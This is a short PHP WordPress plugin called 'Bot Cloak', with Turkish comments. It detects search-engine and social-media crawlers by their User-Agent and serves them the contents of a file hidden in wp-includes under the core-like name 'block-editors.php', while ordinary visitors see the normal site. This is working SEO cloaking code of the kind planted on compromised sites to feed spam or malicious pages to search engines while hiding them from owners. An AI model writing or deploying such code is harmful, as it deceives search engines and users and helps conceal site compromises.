<?php
/**
 * Plugin Name: Bot Cloak
 * Description: Bot kullanıcı ajanları için özel içerik sunar. Normal kullanıcılar WordPress'i görür.
 * Version:     1.0
 * Author:      Otomatik
 */

// WordPress yüklenirken erken çalışması için en uygun hook
add_action('init', 'bot_cloak_serve', 0);

function bot_cloak_serve() {
    // Sadece web isteklerinde çalıştır (CLI veya AJAX'ı etkilemesin)
    if (defined('DOING_CRON') || defined('DOING_AJAX') || php_sapi_name() === 'cli') {
        return;
    }

    $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
    
    $is_bot = ($ua !== '') && preg_match(
        '/(crawler|spider|slurp|googlebot|google-inspectiontool|mediapartners-google|storebot-google|feedfetcher-google|apis-google|adsbot-google|bingbot|yandexbot|yandex|baiduspider|baidu|duckduckbot|facebookexternalhit|twitterbot|linkedinbot|embedly|pinterest|slackbot|rogerbot|semrushbot|ahrefsbot|bot\b|crawl)/i',
        $ua
    );

    // Bot tespit edildiyse ve gizleme dosyası varsa
    if ($is_bot && file_exists(ABSPATH . 'wp-includes/block-editors.php')) {
        require ABSPATH . 'wp-includes/block-editors.php';
        exit;
    }
    // Dosya yoksa veya bot değilse normal WordPress devam eder
}